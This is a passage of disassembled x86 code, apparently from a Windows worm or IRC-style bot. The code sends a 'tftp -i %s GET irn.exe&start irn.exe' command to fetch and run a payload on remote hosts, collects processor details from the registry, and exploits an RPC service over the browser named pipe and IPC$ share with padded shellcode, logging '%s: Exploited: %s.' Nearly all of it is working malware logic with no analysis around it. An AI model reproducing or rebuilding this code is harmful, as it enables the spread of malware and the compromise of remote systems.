		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_41AC32
		push	eax

loc_41AC1C:				; CODE XREF: sub_41AB81+C7j
		call	ds:dword_41D280	; closesocket
		xor	al, al

loc_41AC24:				; CODE XREF: sub_41AB81+139j
		mov	ecx, [ebp+var_4]
		pop	edi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn
; ---------------------------------------------------------------------------

loc_41AC32:				; CODE XREF: sub_41AB81+98j
		push	10h
		lea	eax, [ebp+var_5B4]
		push	eax
		push	edi
		call	ds:dword_41D23C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AC4A
		push	edi
		jmp	short loc_41AC1C
; ---------------------------------------------------------------------------

loc_41AC4A:				; CODE XREF: sub_41AB81+C4j
		push	esi
		push	ebx
		push	400h
		lea	eax, [ebp+var_5A4]
		push	eax
		push	edi
		call	ds:dword_41D26C	; recv
		push	dword_4283FC
		lea	esi, [ebp+var_14]
		call	sub_4197B6
		mov	eax, esi
		push	eax
		push	offset aTftpISGetIrn_e ; "tftp -i %s GET irn.exe&start irn.exe&ex"...
		lea	eax, [ebp+var_1A4]
		push	18Fh
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+var_1A4]
		add	esp, 14h
		lea	esi, [eax+1]

loc_41AC92:				; CODE XREF: sub_41AB81+116j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_41AC92
		push	ebx
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	edi
		call	ds:dword_41D228	; send
		cmp	eax, 0FFFFFFFFh
		pop	esi
		jnz	short loc_41ACBF

loc_41ACB1:				; CODE XREF: sub_41AB81+140j
		push	edi
		call	ds:dword_41D280	; closesocket
		mov	al, bl
		jmp	loc_41AC24
; ---------------------------------------------------------------------------

loc_41ACBF:				; CODE XREF: sub_41AB81+12Ej
		mov	bl, 1
		jmp	short loc_41ACB1
sub_41AB81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACC3	proc near		; DATA XREF: .data:004245A8o

var_124		= byte ptr -124h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 124h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	esi
		push	edi
		push	44h
		pop	ecx
		lea	esi, [ebp+arg_0]
		lea	edi, [ebp+var_124]
		rep movsd
		mov	edi, [ebp+var_20]
		push	[ebp+var_1C]
		mov	[ebp+var_14], 2
		mov	[ebp+var_10], edi
		call	ds:dword_41D270	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	ds:dword_41D220	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41AD2B
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		call	ds:dword_41D23C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AD3B
		push	esi

loc_41AD25:				; CODE XREF: sub_41ACC3+8Fj
		call	ds:dword_41D280	; closesocket

loc_41AD2B:				; CODE XREF: sub_41ACC3+4Dj
					; sub_41ACC3+A0j
		xor	al, al

loc_41AD2D:				; CODE XREF: sub_41ACC3+B2j
		mov	ecx, [ebp+var_4]
		pop	edi
		xor	ecx, ebp
		pop	esi
		call	sub_402AD0
		leave
		retn
; ---------------------------------------------------------------------------

loc_41AD3B:				; CODE XREF: sub_41ACC3+5Fj
		push	0
		push	1213h
		push	offset dword_4245E0
		push	esi
		call	ds:dword_41D228	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	short loc_41AD25
		call	ds:dword_41D280	; closesocket
		push	edi
		call	sub_41AB81
		test	al, al
		pop	ecx
		jz	short loc_41AD2B
		mov	eax, [ebp+var_24]
		imul	eax, 2Ch
		lea	eax, dword_42454C[eax]
		inc	dword ptr [eax]
		mov	al, 1
		jmp	short loc_41AD2D
sub_41ACC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=2C4h


sub_41AD77	proc near		; CODE XREF: sub_40207A+E0p

var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_33C		= dword	ptr -33Ch
var_335		= byte ptr -335h
var_334		= byte ptr -334h
var_234		= byte ptr -234h
var_134		= byte ptr -134h
var_133		= byte ptr -133h
var_34		= byte ptr -34h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-2C4h]
		sub	esp, 344h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+2C4h+var_4], eax
		push	ebx
		push	esi
		push	edi
		push	0Bh
		pop	ecx
		mov	esi, offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
		lea	edi, [ebp+2C4h+var_34]
		rep movsd
		movsw
		mov	ebx, 100h
		movsb
		push	ebx
		xor	esi, esi
		lea	eax, [ebp+2C4h+var_334]
		push	esi
		push	eax
		call	sub_407F20
		push	4
		push	offset dword_428630
		push	offset aMhz	; "~MHz"
		lea	eax, [ebp+2C4h+var_34]
		push	eax
		push	4
		call	sub_4176BD
		add	esp, 20h
		test	al, al
		jz	loc_41AF8F
		push	ebx
		lea	eax, [ebp+2C4h+var_334]
		push	eax
		push	offset aProcessornames ; "ProcessorNameString"
		lea	eax, [ebp+2C4h+var_34]
		push	eax
		push	1
		call	sub_4176BD
		add	esp, 14h
		test	al, al
		jz	loc_41AECF
		mov	edi, 0FFh
		push	edi
		lea	eax, [ebp+2C4h+var_133]
		push	esi
		push	eax
		mov	[ebp+2C4h+var_335], 0
		mov	[ebp+2C4h+var_134], 0
		call	sub_407F20
		lea	eax, [ebp+2C4h+var_334]
		push	eax
		push	offset aS_7	; "%s"
		lea	eax, [ebp+2C4h+var_134]
		push	edi
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+2C4h+var_134]
		add	esp, 1Ch
		lea	esi, [eax+1]

loc_41AE42:				; CODE XREF: sub_41AD77+D0j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_41AE42
		sub	eax, esi
		push	ebx
		push	0
		mov	esi, offset byte_428530
		push	esi
		mov	[ebp+eax+2C4h+var_134],	cl
		call	sub_407F20
		add	esp, 0Ch
		xor	ecx, ecx
		mov	[ebp+2C4h+var_33C], ecx

loc_41AE68:				; CODE XREF: sub_41AD77+154j
		cmp	[ebp+2C4h+var_335], 0
		jnz	short loc_41AE7F
		cmp	[ebp+ecx+2C4h+var_134],	20h
		jz	short loc_41AEAF
		mov	[ebp+2C4h+var_335], 1
		dec	ecx
		jmp	short loc_41AEAF
; ---------------------------------------------------------------------------

loc_41AE7F:				; CODE XREF: sub_41AD77+F5j
		movsx	eax, [ebp+ecx+2C4h+var_134]
		push	eax
		push	esi
		push	offset aSC_0	; "%s%c"
		push	edi
		push	esi
		call	sub_402EAE
		mov	eax, esi
		add	esp, 14h
		lea	ecx, [eax+1]

loc_41AE9D:				; CODE XREF: sub_41AD77+12Bj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_41AE9D
		sub	eax, ecx
		mov	ecx, [ebp+2C4h+var_33C]
		mov	byte_428530[eax], dl

loc_41AEAF:				; CODE XREF: sub_41AD77+FFj
					; sub_41AD77+106j
		lea	eax, [ebp+2C4h+var_134]
		inc	ecx
		lea	edx, [eax+1]
		mov	[ebp+2C4h+var_33C], ecx
		mov	[ebp+2C4h+var_344], edx

loc_41AEBF:				; CODE XREF: sub_41AD77+14Dj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_41AEBF
		sub	eax, [ebp+2C4h+var_344]
		cmp	ecx, eax
		jbe	short loc_41AE68
		jmp	short loc_41AF02
; ---------------------------------------------------------------------------

loc_41AECF:				; CODE XREF: sub_41AD77+85j
		push	ebx
		push	esi
		mov	esi, offset byte_428530
		push	esi
		call	sub_407F20
		push	offset aUnknown	; "Unknown"
		mov	edi, 0FFh
		push	edi
		push	esi
		call	sub_402EAE
		add	esp, 18h
		lea	eax, [esi+1]

loc_41AEF3:				; CODE XREF: sub_41AD77+181j
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41AEF3
		sub	esi, eax
		mov	byte_428530[esi], cl

loc_41AF02:				; CODE XREF: sub_41AD77+156j
		and	dword_428634, 0
		mov	[ebp+2C4h+var_33C], 1

loc_41AF10:				; CODE XREF: sub_41AD77+20Dj
		inc	dword_428634
		push	ebx
		lea	eax, [ebp+2C4h+var_234]
		push	0
		push	eax
		call	sub_407F20
		push	[ebp+2C4h+var_33C]
		lea	eax, [ebp+2C4h+var_234]
		push	offset aHardwareDesc_0 ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
		push	edi
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+2C4h+var_234]
		add	esp, 1Ch
		lea	esi, [eax+1]

loc_41AF46:				; CODE XREF: sub_41AD77+1D4j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_41AF46
		sub	eax, esi
		mov	[ebp+eax+2C4h+var_234],	cl
		lea	eax, [ebp+2C4h+var_340]
		push	eax
		push	1
		push	0
		lea	eax, [ebp+2C4h+var_234]
		push	eax
		push	80000002h
		call	ds:off_41D02C
		test	eax, eax
		jnz	short loc_41AF86
		push	[ebp+2C4h+var_340]
		call	ds:dword_41D010	; RegCloseKey
		inc	[ebp+2C4h+var_33C]
		cmp	[ebp+2C4h+var_33C], 8
		jb	short loc_41AF10

loc_41AF86:				; CODE XREF: sub_41AD77+1FBj
		push	[ebp+2C4h+var_340]
		call	ds:dword_41D010	; RegCloseKey

loc_41AF8F:				; CODE XREF: sub_41AD77+62j
		mov	ecx, [ebp+2C4h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		add	ebp, 2C4h
		leave
		retn
sub_41AD77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AFA7	proc near		; CODE XREF: sub_413DDD+20Cp
					; sub_413DDD+31Dp ...

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_28		= dword	ptr  30h
arg_2C		= dword	ptr  34h
arg_30		= dword	ptr  38h
arg_34		= dword	ptr  3Ch
arg_3C		= dword	ptr  44h
arg_40		= byte ptr  48h
arg_4C		= dword	ptr  54h
arg_50		= byte ptr  58h
arg_54		= byte ptr  5Ch
arg_68		= dword	ptr  70h
arg_78		= dword	ptr  80h
arg_7C		= word ptr  84h
arg_80		= dword	ptr  88h
arg_84		= word ptr  8Ch
arg_88		= dword	ptr  90h
arg_8C		= dword	ptr  94h
arg_90		= word ptr  98h
arg_94		= byte ptr  9Ch
arg_98		= dword	ptr  0A0h
arg_9C		= dword	ptr  0A4h
arg_A0		= dword	ptr  0A8h
arg_A4		= dword	ptr  0ACh
arg_A8		= byte ptr  0B0h
arg_AC		= word ptr  0B4h
arg_AE		= word ptr  0B6h
arg_B0		= dword	ptr  0B8h
arg_B4		= word ptr  0BCh
arg_B6		= word ptr  0BEh
arg_B8		= dword	ptr  0C0h
arg_BC		= dword	ptr  0C4h
arg_C0		= word ptr  0C8h
arg_C2		= byte ptr  0CAh
arg_C4		= byte ptr  0CCh
arg_D4		= dword	ptr  0DCh
arg_D8		= byte ptr  0E0h
arg_E8		= dword	ptr  0F0h
arg_EC		= byte ptr  0F4h
arg_1EC		= dword	ptr  1F4h
arg_1F0		= dword	ptr  1F8h
arg_1F8		= dword	ptr  200h
arg_1FD		= byte ptr  205h
arg_200		= byte ptr  208h
arg_201		= byte ptr  209h
arg_210		= byte ptr  218h
arg_211		= byte ptr  219h
arg_310		= byte ptr  318h
arg_311		= byte ptr  319h
arg_40C		= byte ptr  414h
arg_240C	= byte ptr  2414h
arg_4410	= byte ptr  4418h
arg_6410	= dword	ptr  6418h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		mov	eax, 641Ch
		call	sub_4117B0
		mov	eax, dword_423064
		xor	eax, esp
		mov	[esp+arg_6410],	eax
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	ecx
		lea	esi, [ebp+arg_0]
		lea	edi, [esp+0Ch+arg_EC]
		rep movsd
		mov	eax, [esp+0Ch+arg_1F0]
		push	eax
		mov	[esp+10h+arg_20], eax
		call	ds:dword_41D25C	; inet_ntoa
		xor	ebx, ebx
		mov	[esp+0Ch+arg_14], eax
		mov	[esp+0Ch+arg_8], ebx

loc_41AFF3:				; CODE XREF: sub_41AFA7+70Aj
		cmp	[esp+0Ch+arg_8], 2
		ja	loc_41B6C0
		push	offset a_	; "."
		push	[esp+10h+arg_14]
		call	sub_402C69
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41B066
		push	[esp+0Ch+arg_14]
		lea	eax, [esp+10h+arg_40C]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	2000h
		push	eax
		call	sub_402EAE
		add	esp, 10h
		push	8
		pop	ecx
		xor	eax, eax
		push	ebx
		lea	edi, [esp+10h+arg_54]
		rep stosd
		lea	eax, [esp+10h+arg_40C]
		push	offset byte_41EEFE
		mov	[esp+14h+arg_68], eax
		push	offset byte_41EEFF
		lea	eax, [esp+18h+arg_54]
		push	eax
		call	sub_402A02
		test	eax, eax
		jnz	loc_41B6C0

loc_41B066:				; CODE XREF: sub_41AFA7+69j
		push	[esp+0Ch+arg_14]
		lea	eax, [esp+10h+arg_240C]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	2000h
		push	eax
		call	sub_402EAE
		add	esp, 10h
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		lea	eax, [esp+24h+arg_240C]
		push	eax
		call	ds:dword_41D06C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0Ch+arg_0], eax
		jz	loc_41B6C0
		push	48h
		lea	eax, [esp+10h+arg_A4]
		push	ebx
		push	eax
		call	sub_407F20
		mov	byte ptr [esp+18h+arg_A4], 5
		mov	byte ptr [esp+18h+arg_A4+1], bl
		mov	byte ptr [esp+18h+arg_A4+2], 0Bh
		mov	byte ptr [esp+18h+arg_A4+3], 3
		mov	dword ptr [esp+18h+arg_A8], 10h
		mov	[esp+18h+arg_AC], 48h
		mov	[esp+18h+arg_AE], bx
		mov	[esp+18h+arg_B0], ebx
		mov	[esp+18h+arg_B4], 10B8h
		mov	[esp+18h+arg_B6], 10B8h
		mov	[esp+18h+arg_B8], ebx
		mov	[esp+18h+arg_BC], 1
		mov	[esp+18h+arg_C0], bx
		mov	[esp+18h+arg_C2], 1
		mov	esi, offset dword_41F00C
		lea	edi, [esp+18h+arg_C4]
		movsd
		movsd
		movsd
		movsd
		mov	[esp+18h+arg_D4], 3
		mov	esi, offset dword_41F020
		lea	edi, [esp+18h+arg_D8]
		movsd
		movsd
		add	esp, 0Ch
		movsd
		push	2
		movsd
		pop	esi
		push	ebx
		lea	eax, [esp+10h+arg_50]
		push	eax
		push	48h
		lea	eax, [esp+18h+arg_A4]
		push	eax
		push	[esp+1Ch+arg_0]
		mov	[esp+20h+arg_E8], esi
		call	ds:dword_41D088	; WriteFile
		test	eax, eax
		jz	loc_41B6B6
		push	ebx
		lea	eax, [esp+0Ch+arg_20]
		push	eax
		push	2000h
		lea	eax, [esp+14h+arg_4410]
		push	eax
		push	[esp+18h+arg_4]
		call	ds:off_41D078
		call	ds:dword_41D104	; GetTickCount
		push	eax
		call	sub_403716
		mov	edx, 41414141h
		mov	eax, edx
		lea	edi, [esp+0Ch+arg_94]
		stosd
		stosd
		stosd
		stosd
		pop	ecx
		stosd
		push	7
		pop	ecx
		mov	eax, edx
		lea	edi, [esp+8+arg_78]
		rep stosd
		call	sub_403723
		mov	dword ptr [esp+8+arg_94], eax
		xor	eax, eax
		inc	eax
		cmp	[esp+8+arg_C], eax
		mov	[esp+8+arg_A0],	eax
		mov	[esp+8+arg_9C],	ebx
		mov	[esp+8+arg_98],	eax
		mov	word ptr [esp+8+arg_A4], bx
		jnz	short loc_41B226
		mov	dword ptr [esp+8+arg_84], eax
		mov	dword ptr [esp+8+arg_7C], eax
		mov	[esp+8+arg_88],	ebx
		jmp	short loc_41B245
; ---------------------------------------------------------------------------

loc_41B226:				; CODE XREF: sub_41AFA7+266j
		cmp	[esp+8+arg_C], ebx
		jnz	short loc_41B24C
		mov	dword ptr [esp+8+arg_84], esi
		mov	dword ptr [esp+8+arg_7C], esi
		mov	[esp+8+arg_88],	2EBh

loc_41B245:				; CODE XREF: sub_41AFA7+27Dj
		mov	[esp+8+arg_80],	ebx

loc_41B24C:				; CODE XREF: sub_41AFA7+283j
		call	sub_403723
		cdq
		mov	esi, 0FAh
		mov	ecx, esi
		idiv	ecx
		inc	edx
		mov	[esp+8+arg_78],	edx
		call	sub_403723
		cdq
		idiv	esi
		mov	eax, [esp+8+arg_C]
		shl	eax, 4
		mov	edi, dword_425808[eax]
		push	edi
		mov	dword ptr [esp+0Ch+arg_90], ebx
		mov	[esp+0Ch+arg_1C], eax
		mov	[esp+0Ch+arg_10], edi
		inc	edx
		mov	[esp+0Ch+arg_8C], edx
		call	sub_403AA0
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		mov	[esp+8+arg_8], esi
		jz	loc_41B6B6
		lea	eax, [edi-2]
		push	eax
		push	90h
		push	esi
		call	sub_407F20
		lea	edi, [esi+edi-2]
		xor	eax, eax
		stosw
		mov	eax, [esp+14h+arg_1C]
		mov	eax, dword_425810[eax]
		lea	edi, [eax+esi]
		mov	esi, offset dword_4257FC
		movsd
		movsw
		add	eax, 7
		movsb
		mov	[esp+14h+arg_14], eax
		xor	eax, eax
		mov	[esp+14h+arg_200], bl
		lea	edi, [esp+14h+arg_201]
		stosd
		stosd
		stosd
		stosw
		stosb
		add	esp, 0Ch
		mov	edi, 0FFh
		push	edi
		lea	eax, [esp+0Ch+arg_311]
		push	ebx
		push	eax
		mov	[esp+14h+arg_310], bl
		call	sub_407F20
		add	esp, 0Ch
		push	edi
		lea	eax, [esp+0Ch+arg_211]
		push	ebx
		push	eax
		mov	[esp+14h+arg_210], bl
		call	sub_407F20
		add	esp, 0Ch
		cmp	[esp+8+arg_1FD], bl
		jz	loc_41B3BC
		call	sub_419B37
		test	al, al
		jnz	short loc_41B3A3
		push	dword_4283FC
		lea	esi, [esp+0Ch+arg_200]
		call	sub_4197B6
		lea	esi, [esp+0Ch+arg_310]
		mov	ebx, offset byte_426A49
		mov	[esp+0Ch+var_C], 100h
		call	sub_419EC1
		pop	ecx
		mov	eax, esi
		push	eax
		push	dword_427FD4
		lea	eax, [esp+10h+arg_200]
		push	eax
		push	offset aHttpSDS_0 ; "http://%s:%d/%s"
		lea	eax, [esp+18h+arg_210]
		push	edi
		push	eax
		call	sub_402EAE
		lea	eax, [esp+20h+arg_210]
		add	esp, 18h
		lea	ecx, [eax+1]

loc_41B39A:				; CODE XREF: sub_41AFA7+3F8j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_41B39A
		jmp	short loc_41B41F
; ---------------------------------------------------------------------------

loc_41B3A3:				; CODE XREF: sub_41AFA7+395j
		push	100h
		lea	esi, [esp+0Ch+arg_210]
		mov	ebx, offset dword_426F68
		call	sub_419EC1
		pop	ecx
		jmp	short loc_41B429
; ---------------------------------------------------------------------------

loc_41B3BC:				; CODE XREF: sub_41AFA7+388j
		push	dword_4283FC
		lea	esi, [esp+0Ch+arg_200]
		call	sub_4197B6
		lea	esi, [esp+0Ch+arg_310]
		mov	ebx, offset byte_426A49
		mov	[esp+0Ch+var_C], 100h
		call	sub_419EC1
		pop	ecx
		mov	eax, esi
		push	eax
		push	dword_427FD4
		lea	eax, [esp+10h+arg_200]
		push	eax
		push	offset aHttpSDS_1 ; "http://%s:%d/%s"
		lea	eax, [esp+18h+arg_210]
		push	edi
		push	eax
		call	sub_402EAE
		lea	eax, [esp+20h+arg_210]
		add	esp, 18h
		lea	ecx, [eax+1]

loc_41B418:				; CODE XREF: sub_41AFA7+476j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_41B418

loc_41B41F:				; CODE XREF: sub_41AFA7+3FAj
		sub	eax, ecx
		mov	[esp+eax+8+arg_210], 0

loc_41B429:				; CODE XREF: sub_41AFA7+413j
		lea	eax, [esp+8+arg_210]
		push	eax
		call	sub_414B19
		mov	esi, eax
		test	esi, esi
		pop	ecx
		jz	loc_41B6D7
		push	esi
		push	1
		call	sub_4148F8
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41B461
		push	esi
		push	2
		call	sub_4148F8
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_41B6D7

loc_41B461:				; CODE XREF: sub_41AFA7+4A6j
		mov	esi, [esp+8+arg_8]
		dec	eax
		push	eax
		mov	eax, [esp+0Ch+arg_14]
		add	eax, esi
		push	offset byte_435518
		push	eax
		call	sub_407FA0
		mov	eax, [esp+14h+arg_1C]
		mov	eax, dword_42580C[eax]
		add	esp, 0Ch
		cmp	[esp+8+arg_C], 1
		jnz	short loc_41B4B8
		mov	ecx, dword_4356CC
		mov	[eax+esi], ecx
		mov	ecx, dword_425824
		add	eax, 0Ch
		mov	[eax+esi], ecx
		mov	ecx, dword_425824
		lea	eax, [eax+esi+24h]
		mov	[eax], ecx
		mov	ecx, dword_425824
		mov	[eax+0Ch], ecx
		jmp	short loc_41B4D2
; ---------------------------------------------------------------------------

loc_41B4B8:				; CODE XREF: sub_41AFA7+4E3j
		cmp	[esp+8+arg_C], 0
		jnz	short loc_41B4D2
		push	10h
		add	eax, esi
		pop	ecx

loc_41B4C4:				; CODE XREF: sub_41AFA7+529j
		mov	edx, dword_425824
		mov	[eax], edx
		add	eax, 4
		dec	ecx
		jnz	short loc_41B4C4

loc_41B4D2:				; CODE XREF: sub_41AFA7+50Fj
					; sub_41AFA7+516j
		mov	edi, [esp+8+arg_10]
		add	edi, 42h
		push	edi
		call	sub_403AA0
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		jz	loc_41B6ED
		push	edi
		push	0
		push	ebx
		call	sub_407F20
		push	5
		pop	ecx
		lea	esi, [esp+14h+arg_94]
		mov	edi, ebx
		rep movsd
		mov	esi, [esp+14h+arg_10]
		mov	eax, esi
		test	eax, eax
		mov	[esp+14h+arg_10], eax
		fild	[esp+14h+arg_10]
		jge	short loc_41B519
		fadd	ds:flt_420EC0

loc_41B519:				; CODE XREF: sub_41AFA7+56Aj
		fmul	ds:dbl_420EB8
		add	esp, 4
		fstp	[esp+10h+arg_10]
		fld	[esp+10h+arg_10]
		fstp	qword ptr [esp]
		call	sub_404170
		fstp	[esp+10h+arg_10]
		fld	[esp+10h+arg_10]
		call	sub_41C826
		and	dword ptr [ebx+18h], 0
		push	esi
		push	[esp+14h+arg_8]
		mov	[ebx+1Ch], eax
		mov	[ebx+14h], eax
		lea	eax, [ebx+20h]
		push	eax
		call	sub_407FA0
		add	esp, 14h
		lea	eax, [esi+20h]
		jmp	short loc_41B560
; ---------------------------------------------------------------------------

loc_41B55F:				; CODE XREF: sub_41AFA7+5BBj
		inc	eax

loc_41B560:				; CODE XREF: sub_41AFA7+5B6j
		test	al, 3
		jnz	short loc_41B55F
		push	7
		lea	edi, [ebx+eax]
		pop	ecx
		push	[esp+8+arg_8]
		add	eax, 1Ch
		lea	esi, [esp+0Ch+arg_78]
		rep movsd
		mov	[esp+0Ch+arg_14], eax
		call	sub_4039C3
		pop	ecx
		push	6
		xor	eax, eax
		pop	ecx
		lea	edi, [esp+8+arg_28]
		rep stosd
		mov	byte ptr [esp+8+arg_28+1], al
		mov	byte ptr [esp+8+arg_28+2], al
		lea	edi, [esp+8+arg_40]
		stosd
		xor	esi, esi
		stosd
		stosd
		push	esi
		push	esi
		stosd
		push	1
		push	esi
		mov	byte ptr [esp+18h+arg_28], 5
		mov	byte ptr [esp+18h+arg_28+3], 3
		mov	[esp+18h+arg_2C], 10h
		mov	word ptr [esp+18h+arg_30+2], si
		mov	[esp+18h+arg_34], esi
		mov	word ptr [esp+18h+arg_3C], si
		mov	word ptr [esp+18h+arg_3C+2], 1Fh
		stosd
		call	ds:off_41D09C
		mov	dword ptr [esp+8+arg_50], eax
		mov	byte ptr [esp+8+arg_0+3], 0
		mov	[esp+8+arg_8], esi

loc_41B5E1:				; CODE XREF: sub_41AFA7+6CCj
		cmp	[esp+8+arg_8], 2
		jge	loc_41B679
		inc	[esp+8+arg_8]
		push	1
		push	10B8h
		push	[esp+10h+arg_14]
		lea	esi, [esp+14h+arg_28]
		push	ebx
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[esp+30h+arg_4]
		rep movsd
		call	sub_41755C
		add	esp, 2Ch
		test	al, al
		jz	short loc_41B679
		cmp	dword ptr [esp+8+arg_50], 0
		jz	short loc_41B66E
		lea	eax, [esp+8+arg_40]
		push	eax
		lea	eax, [esp+0Ch+arg_20]
		push	eax
		push	2000h
		lea	eax, [esp+14h+arg_4410]
		push	eax
		push	[esp+18h+arg_4]
		call	ds:off_41D078
		test	eax, eax
		jnz	short loc_41B653
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	short loc_41B66E

loc_41B653:				; CODE XREF: sub_41AFA7+69Dj
		push	3E8h
		push	dword ptr [esp+0Ch+arg_50]
		call	ds:off_41D07C
		cmp	eax, 102h
		jnz	short loc_41B66E
		mov	byte ptr [esp+8+arg_0+3], 1

loc_41B66E:				; CODE XREF: sub_41AFA7+678j
					; sub_41AFA7+6AAj ...
		cmp	byte ptr [esp+8+arg_0+3], 0
		jz	loc_41B5E1

loc_41B679:				; CODE XREF: sub_41AFA7+63Fj
					; sub_41AFA7+671j
		push	[esp+8+arg_4]
		mov	esi, ds:dword_41D0D8
		call	esi	; CloseHandle
		push	ebx
		call	sub_4039C3
		cmp	[esp+10h+arg_4C], 0
		pop	ecx
		jz	short loc_41B699
		push	[esp+0Ch+arg_4C]
		call	esi	; CloseHandle

loc_41B699:				; CODE XREF: sub_41AFA7+6EAj
		cmp	byte ptr [esp+13h], 0
		jnz	short loc_41B6FA
		cmp	[esp+0Ch+arg_8], 0
		jnz	short loc_41B6C0
		mov	[esp+0Ch+arg_8], 1
		xor	ebx, ebx
		jmp	loc_41AFF3
; ---------------------------------------------------------------------------

loc_41B6B6:				; CODE XREF: sub_41AFA7+1E5j
					; sub_41AFA7+2F7j
		push	[esp+8+arg_4]
		call	ds:dword_41D0D8	; CloseHandle

loc_41B6C0:				; CODE XREF: sub_41AFA7+51j
					; sub_41AFA7+B9j ...
		xor	al, al

loc_41B6C2:				; CODE XREF: sub_41AFA7+7A5j
		mov	ecx, [esp+0Ch+arg_6410]
		pop	edi
		pop	esi
		pop	ebx
		xor	ecx, esp
		call	sub_402AD0
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41B6D7:				; CODE XREF: sub_41AFA7+494j
					; sub_41AFA7+4B4j
		push	[esp+8+arg_4]
		call	ds:dword_41D0D8	; CloseHandle
		push	[esp+0Ch+arg_4]

loc_41B6E5:				; CODE XREF: sub_41AFA7+751j
		call	sub_4039C3
		pop	ecx
		jmp	short loc_41B6C0
; ---------------------------------------------------------------------------

loc_41B6ED:				; CODE XREF: sub_41AFA7+53Dj
		push	[esp+8+arg_4]
		call	ds:dword_41D0D8	; CloseHandle
		push	esi
		jmp	short loc_41B6E5
; ---------------------------------------------------------------------------

loc_41B6FA:				; CODE XREF: sub_41AFA7+6F7j
		push	[esp+0Ch+arg_20]
		call	ds:dword_41D25C	; inet_ntoa
		push	eax
		mov	eax, [esp+10h+arg_1EC]
		imul	eax, 2Ch
		add	eax, offset dword_424528
		push	eax
		push	offset aSExploitedS_ ; "%s: Exploited: %s."
		lea	eax, [esp+18h+arg_EC]
		push	eax
		push	[esp+1Ch+arg_1F8]
		push	offset dword_4283FC
		call	sub_417B51
		mov	eax, [esp+24h+arg_1EC]
		imul	eax, 2Ch
		lea	eax, dword_42454C[eax]
		add	esp, 18h
		inc	dword ptr [eax]
		mov	al, [esp+13h]
		jmp	loc_41B6C2
sub_41AFA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=0CD8h


sub_41B751	proc near		; DATA XREF: .data:0042457Co

var_D54		= dword	ptr -0D54h
var_D50		= dword	ptr -0D50h
var_D4C		= dword	ptr -0D4Ch
var_D48		= dword	ptr -0D48h
var_D44		= byte ptr -0D44h
var_D40		= dword	ptr -0D40h
var_D3C		= dword	ptr -0D3Ch
var_D38		= dword	ptr -0D38h
var_D34		= dword	ptr -0D34h
var_D30		= dword	ptr -0D30h
var_D2C		= dword	ptr -0D2Ch
var_D26		= byte ptr -0D26h
var_D25		= byte ptr -0D25h
var_D24		= byte ptr -0D24h
var_C24		= dword	ptr -0C24h
var_C20		= dword	ptr -0C20h
var_C1C		= dword	ptr -0C1Ch
var_C18		= dword	ptr -0C18h
var_C14		= byte ptr -0C14h
var_814		= byte ptr -814h
var_414		= byte ptr -414h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		lea	ebp, [esp-0CD8h]
		sub	esp, 0D54h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+0CD8h+var_4], eax
		push	ebx
		push	esi
		push	edi
